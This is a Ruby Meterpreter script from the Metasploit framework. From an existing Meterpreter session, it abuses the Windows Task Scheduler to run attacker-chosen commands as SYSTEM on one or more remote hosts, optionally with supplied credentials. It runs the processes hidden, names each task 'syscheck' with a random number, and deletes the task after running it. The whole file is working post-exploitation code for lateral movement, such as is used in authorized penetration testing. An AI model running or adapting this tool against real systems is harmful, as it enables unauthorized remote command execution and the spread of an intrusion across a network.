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##
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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
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# If you'd like to improve this script, please try to port it as a post
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# module instead. Thank you.
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##
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#Meterpreter script for abusing the scheduler service in windows
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#by scheduling and running a list of command against one or more targets
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#using schtasks command to run them as system. This script works with Windows XP,
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#Windows 2003, Windows Vista and Windows 2008.
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#Version: 0.1.1
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#Note: in Vista UAC must be disabled to be able to perform scheduling
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#and the meterpreter must be running under the profile of local admin
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#or system.
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################## Variable Declarations ##################
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session = client
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# Setting Arguments
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@@exec_opts = Rex::Parser::Arguments.new(
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  "-h" => [ false,"Help menu."                        ],
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  "-c" => [ true,"Commands to execute. Several commands can be given but separated by commas and enclose the list in double quotes if arguments are used."],
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  "-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."],
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  "-p" => [ true,"Password for user account specified, it must be given if a user is given."],
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  "-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."],
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  "-t" => [ true,"Remote system to schedule job."],
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  "-l" => [ true,"Text file with list of targets, one per line."],
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  "-s" => [ true,"Text file with list of commands, one per line."]
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)
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#Setting Argument variables
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commands = []
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targets = []
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username = nil
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password = nil
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delay = 2
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help = 0
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def usage
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  print_status( "This Meterpreter script is for running commands on targets system using the")
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  print_status( "Windows Scheduler, it is based on the tool presented but not released by Val Smith")
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  print_status( "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions")
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  print_status( "of the process Meterpreter is running under.")
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  print_status( "Options:")
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  print_status( @@exec_opts.usage )
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end
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def abuse(session,targets,commands,username,password,delay)
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  #for each target
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  targets.each do |t|
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    next if t.strip.length < 1
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    next if t[0,1] == "#"
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    #for each command
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    commands.each do |c|
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      next if c.strip.length < 1
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      next if c[0,1] == "#"
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      taskname = "syscheck#{rand(100)}"
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      success = false
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      #check if user name and password where given, if not credential of running process used
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      if username == nil && password == nil
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        print_status("Scheduling command #{c} to run .....")
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        execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\"  /sc once /ru system /s #{t} /st 00:00:00"
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        r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
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        #check if successfully scheduled
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        while(d = r.channel.read)
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          if d =~ /successfully been created/
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            print_status("The scheduled task has been successfully created")
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            success = true
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          end
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        end
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        #check if schedule successful, if not raise error
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        if !success
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          print_status("Failed to create scheduled task!!")
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          raise "Command could not be Scheduled"
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        elsif success
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          print_status("Running command on #{t}")
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          session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}")
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        end
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        r.channel.close
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        r.close
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        #Wait before scheduling next command
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        sleep(delay)
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        print_status("Removing scheduled task")
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        session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F")
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      else
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        print_status("Scheduling command #{c} to run .....")
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        execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\"  /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00"
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        r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
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        #check if successfully scheduled
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        while(d = r.channel.read)
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          if d =~ /successfully been created/
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            print_status("The scheduled task has been successfully created")
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            success = true
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          end
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        end
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        #check if schedule successful, if not raise error
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        if !success
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          print_status("Failed to create scheduled task!!")
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          raise "Command could not be Scheduled"
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        elsif success
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          print_status("Running command on #{t}")
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          session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}")
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        end
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        r.channel.close
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        r.close
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        #Wait before scheduling next command
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        sleep(delay)
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        print_status("Removing scheduled task")
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        session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t}  /u #{username} /p #{password} /F")
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      end
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    end
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  end
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end
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#check for proper Meterpreter Platform
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def unsupported
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  print_error("This version of Meterpreter is not supported with this Script!")
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  raise Rex::Script::Completed
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end
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@@exec_opts.parse(args) { |opt, idx, val|
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  case opt
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  when "-c"
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    commands = val.split(',')
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  when "-u"
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    username = val
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  when "-p"
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    password = val
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  when "-t"
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    targets = val.split(',')
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  when "-d"
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    delay = val.to_i
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  when "-s"
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    script = val
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    if not ::File.exist?(script)
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      raise "Command List File does not exist!"
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    else
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      ::File.open(script, "r").each_line do |line|
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        commands << line.chomp
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      end
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    end
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  when "-l"
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    list = val
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    if not ::File.exist?(list)
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      raise "Command List File does not exist!"
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    else
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      ::File.open(list, "r").each_line do |line|
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        targets << line.chomp
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      end
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    end
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  when "-h"
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    help = 1
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  end
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}
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unsupported if client.platform != 'windows'
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print_status("Meterpreter session running as #{session.sys.config.getuid}")
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if help == 0 && commands.length != 0
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  abuse(session,targets,commands,username,password,delay)
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else
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  usage
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end
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